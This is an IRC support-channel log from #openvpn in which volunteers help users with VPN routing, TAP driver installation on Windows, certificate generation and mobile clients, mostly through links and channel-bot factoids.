15:05 <@dazo> I have a mail server on a network with dynamic IPs ... and a virtual server hosted somewhere with a static IP
15:05 < defsdoor> else outside the tunnel wont route (the tunnel itself)
15:05 < defsdoor> you'll need to do connection tracked routing
15:06 <@dazo> then I have DNAT/SNAT rules on the VPN server (the VM) which redirects all connections on selected ports to the VPN IP of the mail server
15:06 < neilhwatson> Go back to 'you can't'  WHy is that?
15:07 <@dazo> but I needed some tweaking on the mail server, with ip routing tables ... so that the traffic from the VPN would be replied to via the VPN as well
15:07 < hg_5> how to install 2 tap windows adapters?
15:08 <@dazo> hg_5: run the addtap.bat script in the OpenVPN\bin directory
15:08 < defsdoor> neilhwatson, well - unless you are ok with 100% of traffic going that way and a single specific route to your server's public IP via the primary gw
15:08 < hg_5> dazo i dont have this
15:08 < neilhwatson> The first part yet.  The second part I don't follow.
15:08 < hg_5> in this directory
15:08 -!- p3rror [~mezgani@41.140.153.11] has joined #openvpn
15:08 <@dazo> hg_5: OpenVPN 2.3?
15:08 < hg_5> dazo yes
15:09 < defsdoor> neilhwatson, if you change the default gateway the tunnel will go down that gateway - or try to
15:09 <@dazo> hg_5: ahh, okay .... mattock ^^^^ see hg_5 ... need that fixed very soon now!
15:09 < defsdoor> which will obviously fail as it needs to go via internet to that server
15:09 < hg_5> dazo what?
15:09 < havoc> dazo: heh, I guess other ppl need it too ;)
15:09 <@dazo> hg_5: the windows installer failed to install that script .... and we're waiting on a new installer
15:09 <@dazo> mattock is the guy who built the installer
15:10 < defsdoor> neilhwatson, I do something similar at work to change my default gateway of my desktop pc to go via a vpn to my home server
15:10 < defsdoor> so I need static routes to my home server via the physical gateway
15:10 < hg_5> dazo oh, when it will be available?
15:10 < neilhwatson> I'm sure I"ve read examples of using openvpn to route all traffic, which I assume acts as a default gateway, on untrusted networks.
15:11 < defsdoor> neilhwatson, it's perfectly simple to do - but you will need a static route to the internet facing IP of the other end of the tunnel
15:12 < defsdoor> via the physical/initial gw
15:12 < rob0> dazo, I posted about the proxy ARP way to "have a public IP at home" on the list some years ago, IIRC before JJK's book. :)
15:12 < neilhwatson> That makes sense.
15:12 <@dazo> rob0: maybe that's where JJK took the inspiration from? ;-)
15:13 < neilhwatson> Back to the number of required IP's. Does the server tun need an address?
15:13 < rob0> I used an RFC 1918 address for the server tun0, and that address could be the new gateway for the clients.
15:13 -!- batrick [~batrick@nmap/developer/batrick] has quit [Ping timeout: 245 seconds]
15:14 <@dazo> hg_5: which .exe/.com files do you have in the OpenVPN bin directory?
15:15 < rob0> dazo, ha! I even used the work "cookbook". This was 2005, http://openvpn.net/archive/openvpn-users/2005-09/msg00108.html
15:15 < hg_5> dazo http://puu.sh/1XwE6
15:15 <@vpnHelper> Title: [Openvpn-users] openvpn cookbook: get a static IP at home (at openvpn.net)
15:15 < rob0> s/work/word/
15:15 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
15:15 <@dazo> hg_5: okay ... a lot more is missing there it seems
15:15 -!- simcop2387 [~simcop238@simcop2387.info] has joined #openvpn
15:15 -!- simcop2387 [~simcop238@simcop2387.info] has quit [Changing host]
15:15 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
15:15 <@dazo> hg_5: it's all related to the TAP driver installation ... the TAP tools haven't been installed
15:15 < neilhwatson> Shouldn't the client tun be the gw, but with a static route to the server's public iP?
15:16 < hg_5> where are tap tools?
15:16 <@dazo> hg_5: can you try to install this one?  http://swupdate.openvpn.org/community/releases/tap-windows-9.9.2.exe
15:17 < rob0> neilhwatson, read the whole thread, or at least the first followup which corrects an oversight in the original post.
15:18 <@dazo> hg_5: you'll then get in your Programfiles directory a TAP-Windows\bin directory with addtap.bat
15:18 < rob0> I assume since you mention eth0/tun0, you are using Linux, in which case this is exactly what you seem to be after.
15:18 < hg_5> dazo yeah great thanks it has been installed! :)
15:19 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
15:20 <@dazo> rob0: that summarises very well my setup :) ... and I vaguely remember this info from when you helped me with it too
15:22 < neilhwatson> rob0, thanks for the url
15:23 <@dazo> havoc: seems installing this one manually helps out with the "create tap script" issue ... http://swupdate.openvpn.org/community/releases/tap-windows-9.9.2.exe
15:23 < havoc> dazo: cool, thanks
15:23 <@dazo> !factoids search windows
15:23 <@vpnHelper> 'windows_mobile', 'windows_problems', and 'windows'
15:23 <@dazo> !factoids search tap
15:23 <@vpnHelper> 'tap', 'mactuntap', 'wintaphide', 'tunortap', and 'obsdtap'
15:23 <@dazo> !tap
15:23 <@vpnHelper> "tap" is "bridge" is (#1) http://openvpn.net/index.php/documentation/faq.html#bridge1, or (#2) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html, or (#3) Bridging looks like a good choice to people who don't know how to set up IP routing, but to learn routing is generally far better., or (#4) useful for windows sharing (without wins server) and LAN gaming, anything where
15:23 <@vpnHelper> the protocol uses MAC addresses instead of IP addresses.
15:23 < havoc> won't help he on the silent installs, but goot enough for interactive stuff
15:24 <@dazo> havoc: you can't do /s on that installer?  and provide some "enable this option" as well via the command line?
15:24 < havoc> don't know, haven't tried the tap installer alone yet
15:25 < havoc> is the functionality installed w/ 2.3.0 to add a TAP, if you just have the script?
15:25 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
15:25 < havoc> if so, then I just need to install the tap installer once, and copy the .bat
15:25 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:25 <@dazo> havoc: I don't know how this really works out, tbh
15:26 < havoc> np
15:26 <@dazo> I tend to stay away from Windows as much as  I can
15:27 < havoc> must be nice :(
15:27 <@dazo> havoc: yeah, it is ... until a bunch of windows users complains about the same issue ... and no immediate solution is found :)
15:28 <@dazo> then those complains are worse than Windows :-P
15:28 < havoc> unfortunately most clients are windows :(
15:29 <@dazo> ahh ... that's why I so often stay away from this channel ;-)
15:30 -!- mezgani_ [~mezgani@41.140.214.40] has joined #openvpn
15:31 -!- p3rror [~mezgani@41.140.153.11] has quit [Ping timeout: 248 seconds]
15:35 -!- mezgani_ [~mezgani@41.140.214.40] has quit [Ping timeout: 248 seconds]
15:35 < rob0> I look in on the channel, but I don't answer the Windows questions. :)
15:35 <@dazo> I'm probably too soft ....
15:36 < rob0> I figure if the Windows community can't support themselves, let them fail. :)
15:37 < havoc> kinda defeats the purpose of making openvpn for anything other than linux then
15:39 < havoc> and this isn't about any community "supporting themselves", this is about a single app
15:39 -!- p3rror [~mezgani@41.250.232.206] has joined #openvpn
15:40 < EugeneKay> I missed the question, so I'll stick with "Patches welcome"
15:40 -!- KaiForce [~chatzilla@adsl-70-228-90-247.dsl.akrnoh.ameritech.net] has quit [Quit: ChatZilla 0.9.89 [Firefox 18.0.1/20130116073211]]
15:40 <@dazo> EugeneKay++
15:42 < rob0> !sweet
15:42 <@vpnHelper> "sweet" is http://sweet.nodns4.us/ =(
15:53 < lickalott> dazo "creating certificates and keys"  i was following this http://www.howtogeek.com/64433/how-to-install-and-configure-openvpn-on-your-dd-wrt-router/, but it's not working.  I don't have an easy-rsa anywhere on my laptop or my server.
15:53 <@dazo> why do people use non-official guides .....
15:53 <@dazo> lickalott: http://openvpn.net/index.php/open-source/documentation/howto.html#pki
15:54 <@vpnHelper> Title: HOWTO (at openvpn.net)
15:54 < lickalott> thats what I needed!
15:54 <@dazo> lickalott: easy-rsa can be installed manually ... it's just a bunch of scripts even
15:54 <@dazo> lickalott: https://github.com/OpenVPN/easy-rsa/archive/master.zip
15:55 < lickalott> i didn't want to come out and ask you to throw me a link i could've googled for (and in the process make it known that my google-fu sucks at times)
15:56 < lickalott> k.  got some reading to do.  thanks!
15:57 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving.]
15:58 -!- mezgani_ [~mezgani@41.250.232.161] has joined #openvpn
15:58 < rob0> You definitely should not run easy-rsa on the server machine. Ideally keep your CA removed from the network. Also, I doubt a dd-wrt router will have adequate entropy for openssl work.
15:58 -!- brute11k1 [~brute11k@89.249.231.171] has quit [Quit: Leaving.]
15:58 <@dazo> +1
15:58 < rob0> key generation, certificate signing, et c.
16:00 -!- p3rror [~mezgani@41.250.232.206] has quit [Ping timeout: 248 seconds]
16:00 -!- neilhwatson [~neil@cl-274.chi-03.us.sixxs.net] has quit [Quit: Leaving.]
16:00 <@dazo> lickalott: if it is any comfort ... your google-fu is pretty average, at least you know what google is ... its just too many popping in here who seems to never have heard about that service too
16:03 -!- dgbaley27 [~matt@ucb-np1-210.colorado.edu] has left #openvpn []
16:04 -!- mezgani_ [~mezgani@41.250.232.161] has left #openvpn ["Leaving"]
16:05 -!- p3rror [~mezgani@41.250.232.161] has joined #openvpn
16:09 < hg_5> hello, i have router connected as client to openvpn server, it is set to wisp mode, and clients are connected to it in different subnet (openvpn subnet: 10.9.0.x ,clients subnet connected to this router 192.168.7.x) is it possible to see those clients?
16:11 < rob0> !clientlan
16:11 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
16:11 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
16:13 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has quit [Quit: Ex-Chat]
16:18 -!- dazo is now known as dazo_afk
16:23 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
16:26 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
16:32 -!- mezgani_ [~mezgani@41.249.36.240] has joined #openvpn
16:33 -!- p3rror [~mezgani@41.250.232.161] has quit [Ping timeout: 248 seconds]
16:57 -!- mezgani__ [~mezgani@41.248.110.86] has joined #openvpn
17:00 -!- mezgani_ [~mezgani@41.249.36.240] has quit [Ping timeout: 255 seconds]
17:02 -!- mezgani__ [~mezgani@41.248.110.86] has quit [Ping timeout: 248 seconds]
17:08 -!- AsadH is now known as zz_AsadH
17:18 -!- TheLaw [~law@irc.l4w.info] has joined #openvpn
17:44 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
17:44 -!- mode/#openvpn [+o krzee] by ChanServ
18:31 -!- zz_AsadH is now known as AsadH
18:37 -!- mode/#openvpn [+v-o pekster pekster] by pekster
18:50 -!- AsadH is now known as zz_AsadH
19:05 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
19:20 -!- julius_ [~julius@141.41.92.122] has quit [Ping timeout: 255 seconds]
19:22 -!- raidz is now known as raidz_away
19:24 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
19:25 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 256 seconds]
19:27 -!- corretico [~luis@190.211.93.38] has joined #openvpn
19:28 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
20:01 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
20:04 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
20:38 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has quit []
20:42 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
20:44 -!- gardar_ [~gardar@gardar.net] has quit [Read error: Operation timed out]
20:46 -!- gardar [~gardar@gardar.net] has joined #openvpn
20:48 -!- nameless` [~nameless@u1c.eu] has quit [Ping timeout: 252 seconds]
20:48 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has quit [Remote host closed the connection]
20:48 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
20:49 -!- nameless` [~nameless@u1c.eu] has joined #openvpn
20:50 -!- mnathani [~zee@198-84-231-11.cpe.teksavvy.com] has quit []
20:52 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
20:57 -!- wertik_any [~wertik_an@unaffiliated/wertik-any/x-4132569] has joined #openvpn
20:57 < wertik_any> !welcome
20:57 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
20:57 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
21:10 -!- wertik_any [~wertik_an@unaffiliated/wertik-any/x-4132569] has quit [Ping timeout: 276 seconds]
21:23 -!- rkantos [robin@4e.fi] has quit [Remote host closed the connection]
21:48 -!- NChief_ [tomme@unaffiliated/nchief] has joined #openvpn
21:48 -!- thermoman_ [~thermoman@idle.foobar0815.de] has joined #openvpn
21:50 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
21:52 -!- _b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
21:53 -!- Netsplit *.net <-> *.split quits: Saviq, scoates, b00b, NChief, thermoman
21:53 -!- _b00b is now known as b00b
21:58 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
21:58 -!- Devastator [~devas@177.99.152.211] has joined #openvpn
21:58 -!- Devastator [~devas@177.99.152.211] has quit [Changing host]
21:58 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
22:23 -!- Saviq [~Saviq@sawicz.net] has joined #openvpn
22:31 -!- brute11k [~brute11k@89.249.231.69] has joined #openvpn
22:46 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
22:48 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
23:05 -!- tyteen4a03 [T4@n218250228096.netvigator.com] has quit [Ping timeout: 256 seconds]
23:46 -!- brute11k [~brute11k@89.249.231.69] has quit [Quit: Leaving.]
23:47 -!- Burgundy [~burgundy@5-12-190-68.residential.rdsnet.ro] has quit [Read error: Connection reset by peer]
--- Day changed Tue Feb 05 2013
00:03 -!- brute11k [~brute11k@89.249.231.69] has joined #openvpn
00:33 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
00:51 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
00:53 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit [Ping timeout: 252 seconds]
00:55 -!- ura [~ura@unaffiliated/ura] has quit [Ping timeout: 245 seconds]
00:56 -!- ura [~ura@unaffiliated/ura] has joined #openvpn
01:06 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
01:07 -!- _quadDam1ge [~EmperorTo@boom.blissfulidiot.com] has quit [Ping timeout: 245 seconds]
01:08 -!- oomph [~jr@pool-71-246-228-33.washdc.fios.verizon.net] has joined #openvpn
01:08 < oomph> has anyone here gotten OpenVPN to run on a kindle fire?
01:09 < oomph> I know there is an APK available in the Android market, however the Kindles market is lacking.
01:12 -!- oyunokata [~rrinehart@209.163.177.130] has quit [Ping timeout: 248 seconds]
01:24 -!- oomph [~jr@pool-71-246-228-33.washdc.fios.verizon.net] has quit [Quit: oomph]
01:25 -!- oomph [~jr@pool-71-246-228-33.washdc.fios.verizon.net] has joined #openvpn
01:27 -!- oomph [~jr@pool-71-246-228-33.washdc.fios.verizon.net] has left #openvpn []
01:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Excess Flood]
01:34 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:04 -!- hazardous [~dbn@2001:470:8932:6855:4185::fe80] has quit [Ping timeout: 264 seconds]
02:05 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has joined #openvpn
02:05 < LEDfan> !welcome
02:05 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
02:05 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
02:06 < LEDfan> !goal
02:06 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
02:15 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:24 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
02:26 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Client Quit]
02:26 -!- Saviq [~Saviq@sawicz.net] has quit [Changing host]
02:26 -!- Saviq [~Saviq@canonical/saviq] has joined #openvpn
02:26 -!- p3rror [~mezgani@2001:0:53aa:64c:386c:2f26:d607:4f60] has joined #openvpn
02:32 -!- RealRancor [~chris@p5B13D5E3.dip0.t-ipconnect.de] has joined #openvpn
02:45 -!- p3rror [~mezgani@2001:0:53aa:64c:386c:2f26:d607:4f60] has quit [Ping timeout: 245 seconds]
02:49 -!- RealRancor [~chris@p5B13D5E3.dip0.t-ipconnect.de] has quit [Quit: Leaving.]
02:57 -!- SpookZa [~SpookZA@197.87.128.172] has joined #openvpn
03:12 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
03:26 -!- brute11k1 [~brute11k@89.249.231.69] has joined #openvpn
03:27 -!- brute11k [~brute11k@89.249.231.69] has quit [Ping timeout: 264 seconds]
03:29 -!- funky1 [~funky1@ip51cf100e.direct-adsl.nl] has joined #openvpn
03:30 < funky1> hi all :) got a openvpn server on my ubuntu machine on the internet, i connect to it with my windows based OS client, all works well, but for some web addresses i'd like my windows client to not use the vpn connection but my real IP when I open those sites, is that somehow possible?
03:33 <+pekster> Using a proxy is a better choice for that instead of redirecting your traffic
03:34 <+pekster> You can't know in advance what the IP a DNS name will resolve to, which is required to do route-based exceptions. Additionally, Windows clients are not able to do policy routing
03:35 <+pekster> Why not use a proxy in your browser, set the proxy point to your VPN server, and then define domain-based rules in your proxy? I do the same thing with one of my VPN tunnels by using openvpn/tiny-proxy/Firefox+FoxyProxy
03:37 < funky1> thanks pekster, will think about the proxy suggestion :)
03:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:41 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 244 seconds]
03:42 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
03:52 -!- tyteen4a03 [~T4@n218250226180.netvigator.com] has joined #openvpn
03:52 -!- _mnathani_ [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
03:53 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
03:55 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 246 seconds]
04:07 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
04:23 -!- zz_AsadH is now known as AsadH
04:24 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection]
04:26 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
04:26 -!- mode/#openvpn [+o plaisthos] by ChanServ
04:27 <@plaisthos> If the guy asking for the apk for kindle fire comes back directed him here: http://plai.de/android/ and tell him that he should report back if it worked
04:27 <@vpnHelper> Title: Index of /android (at plai.de)
04:29 <+pekster> Sounds good
04:29 <+pekster> !kindle
04:29 <+pekster> Sounds like we need a new bot entry
04:30 <+pekster> krzee: ping on adding a new bot entry: !kindle as http://plai.de/android/ (and ask folks to report back if it worked.)
04:30 <@vpnHelper> Title: Index of /android (at plai.de)
04:51 -!- julius_ [~julius@141.41.92.122] has joined #openvpn
04:59 -!- dazo_afk is now known as dazo
05:36 -!- defsdoor [~andy@cpc17-sutt4-2-0-cust175.perr.cable.virginmedia.com] has joined #openvpn
05:56 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:57 -!- niervol [~krystian@193.106.244.150] has quit [Read error: Connection reset by peer]
05:58 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
06:14 -!- Porkepix [~Porkepix@157.138.188.184] has joined #openvpn
06:15 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has quit []
06:16 -!- funky1 [~funky1@ip51cf100e.direct-adsl.nl] has left #openvpn []
06:30 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Quit: ZNC - http://znc.in]
06:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:39 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
06:49 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
07:01 -!- julius_ [~julius@141.41.92.122] has quit [Ping timeout: 256 seconds]
07:02 -!- master_of_master [~master_of@p57B55202.dip.t-dialin.net] has quit [Ping timeout: 276 seconds]
07:04 -!- master_of_master [~master_of@p57B553B8.dip.t-dialin.net] has joined #openvpn
07:15 -!- blackmagic [~black@got.laid.using.blackmajic.org] has quit [Read error: Connection refused]
07:27 <@ecrist> !learn kindle as http://plai.de/android/ - Please report back if you have issues, or if it worked well.
07:27 <@vpnHelper> Joo got it.
07:27 <@ecrist> !kindle
07:27 <@vpnHelper> "kindle" is http://plai.de/android/ - Please report back if you have issues, or if it worked well.
07:27 <@ecrist> pekster: ^^^
07:28  * plaisthos has no idea if that works or not :)
07:28 <@plaisthos> The new kindles are based on 4.0 ... so it may work
07:29 <@ecrist> !forget kindle
07:29 <@vpnHelper> Joo got it.
07:29 <@ecrist> !learn kindle as http://plai.de/android/ - Please report back if you have issues, or if it worked well. (blame plaisthos either way)
07:29 <@vpnHelper> Joo got it.
07:29 <@ecrist> :)
07:29 <@plaisthos> :D
07:31 -!- Orbi [~opera@anon-149-235.vpn.ipredator.se] has joined #openvpn
07:31 -!- Orbi [~opera@anon-149-235.vpn.ipredator.se] has left #openvpn []
07:51 -!- y4h0 [~yavor@78.128.23.17] has joined #openvpn
07:52 < y4h0> ls
07:52 < y4h0> hey
07:54 < y4h0> when i am starting openvpn i get a message Options error: --server directive network/netmask combination is invalid when starting  why ?
07:54 < y4h0> here is my server.conf http://pastie.org/6058347
07:55 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 252 seconds]
07:56 < EugeneKay> Because your network/netmask combination is invalid.
07:56 < defsdoor> y4h0, server 192.168.9.0 255.255.255.0
07:56 -!- ade_b [~Ade@109.58.175.187.bredband.tre.se] has joined #openvpn
07:56 -!- ade_b [~Ade@109.58.175.187.bredband.tre.se] has quit [Changing host]
07:56 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:05 < havoc> http://www.isg.rhul.ac.uk/tls/
08:05 <@vpnHelper> Title: Lucky Thirteen: Breaking the TLS and DTLS Record Protocols (at www.isg.rhul.ac.uk)
08:05 < havoc> that's probably been seen here already, but there it is
08:06 -!- b1rkh0ff [~b1rkh0ff@178.77.13.80] has quit [Ping timeout: 264 seconds]
08:09 -!- blackmagic [black@got.laid.using.blackmajic.org] has joined #openvpn
08:10 < havoc> no need to panic just yet though
08:10 < havoc> lotta deps to pull it off successfully
08:11 -!- blackmagic [black@got.laid.using.blackmajic.org] has quit [Client Quit]
08:17 < sam1> is it recommended to use ebtables to firewall network bridges?
08:18 -!- b1rkh0ff [~b1rkh0ff@178.77.7.143] has joined #openvpn
08:22 -!- scoates [~sean@iconoclast.caedmon.net] has joined #openvpn
08:23 -!- cyberspace- [20253@ninthfloor.org] has quit [Remote host closed the connection]
08:27 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
08:28 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:28 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has joined #openvpn
08:28 -!- Sickness\ [~stront@wolfenstein.enemyterritory.org] has quit [Changing host]
08:28 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
08:29 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
08:45 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 264 seconds]
08:46 -!- julius_ [~julius@141.41.92.122] has joined #openvpn
08:53 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
09:08 <@dazo> sam1: yes
09:14 -!- gee_totes [~lee@cpe-66-108-214-202.nyc.res.rr.com] has joined #openvpn
09:16 -!- gee_totes [~lee@cpe-66-108-214-202.nyc.res.rr.com] has quit [Client Quit]
09:22 -!- gee_totes [~lee@cpe-66-108-214-202.nyc.res.rr.com] has joined #openvpn
09:22 -!- Porkepix [~Porkepix@157.138.188.184] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
09:25 -!- gee_totes [~lee@cpe-66-108-214-202.nyc.res.rr.com] has quit [Client Quit]
09:29 < sam1> dazo: any link regarding ebtables and what to isolate when it comes to vpn?
09:29 <@dazo> !notovpn
09:29 <@vpnHelper> "notovpn" is "notopenvpn" is your problem is not about openvpn, and while we try to be helpful, you may have a better chance of finding your answer if you ask your question in a channel related to your problem
09:30 <@dazo> sam1: try #netfilter
09:32 -!- nickanderson_afk is now known as nickanderson
09:34 -!- Holiday [~rjr162@128.118.15.39] has quit [Read error: Operation timed out]
09:42  * ecrist pokes mattock
09:50 -!- linuxthefish [linuxfish@br.freeBNC.net] has joined #openvpn
09:51 -!- linuxthefish [linuxfish@br.freeBNC.net] has left #openvpn []
09:57 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 276 seconds]
09:59 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
10:03 -!- nickanderson is now known as nickanderson_afk
10:15 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:15 -!- raidz_away is now known as raidz
10:17 -!- AsadH is now known as zz_AsadH
10:22 -!- Orbi [~opera@anon-149-235.vpn.ipredator.se] has joined #openvpn
10:29 -!- _AxS_ [~axs@gentoo/developer/axs] has joined #openvpn
10:31 < _AxS_> Hey all .. i've got a somewhat odd issue that I don't know how to debug.  I've got an openvpn setup that's working well between my server and a couple of laptops.  I just installed the openvpn-connect app on my iPhone, and set it up, and it works fine locally but when connecting remotely no traffic goes across the vpn.  I can actually ping the vpn address of the phone from the server fine, but i can't contact the server from the phone.
10:32 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
10:33 < _AxS_> aw damn; i bet it is a routing issue.   It seems my lan router has a default route to handle pointing traffic to the vpn gateway, so this explains why it's working fine locally (traffic isn't actually going out on the vpn, just in)
10:33 < kisom> _AxS_: Do you push the correct routes and all that? I use the iOS app and it works just fine
10:34 < _AxS_> kisom: the .ovpn file is identical to what I use on the laptops, so I would expect so.  The log also -seems- to say yes.  But I'm thinking it isn't.
10:37 < kisom> _AxS_: Is your device jailbroken? I know people have been having issues with jailbroken devices and oVPN.
10:38 < _AxS_> kisom: not jailbroken.  I was actually starting to wonder if i needed to jailbreak.  Good to know i don't.
10:39 < kisom> _AxS_: OK. To me it sounds more like a firewall issue since pinging works from the server to the phone
10:40 < _AxS_> ...i currently do not have anything on the server that pushes a route.
10:40 < _AxS_> kisom: if it's a firewall issue then it'd be the firewall -within- the phone, tho.
10:40 < kisom> There's no firewall in iOS afaik
10:40 < _AxS_> (since 10.8.x.x should never touch the regular lan, right?)
10:41 < kisom> Besides, it answers to ping, then routing works
10:41 < _AxS_> i can paste both my client and server configs, if it helps -- iirc they are both rather simple/standard tho
10:41 < kisom> Sure
10:42 < kisom> Also paste the output from iptables -nvL and iptables -t nat -nvL
10:45 < _AxS_> kisom: server config:  http://bpaste.net/show/75268/  , client config: http://bpaste.net/show/75270/
10:46 < _AxS_> kisom: the openvpn server isn't the router for the local network, so my NAT'ing etc isn't done there.  I'm also not (at this time) allowing access from the vpn to more than the server itself.
10:53 < kisom> _AxS_: Looks good to me.
10:53 < _AxS_> kisom: ...and it's working fine for 3 laptops, as i mentioned..  just the iphone doesn't like it..
10:54 < kisom> Well as I said, since the phone can reply to your servers ping requests then routing is fine
10:54 < kisom> I'm not exactly sure what you're trying to access on the server from the phone.
10:54 < _AxS_> i've got intranet services on a web server on 10.8.0.1
10:54 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:55 < _AxS_> ...and eventually i'd like to handle direct access to mail services that way too
10:55 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
10:55 -!- mode/#openvpn [+v hazardous] by ChanServ
10:55 < kisom> And you're able to access the web server via your laptops running openvpn?
10:56 < _AxS_> kisom: yep.  Can also easily ssh-in that way too.  on the laptops everything is ust working as expected.  (laptops are a mix of linux and windows, btw)
10:56 -!- ade_b [~Ade@host-78-65-176-137.homerun.telia.com] has joined #openvpn
10:56 -!- ade_b [~Ade@host-78-65-176-137.homerun.telia.com] has quit [Changing host]
10:56 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
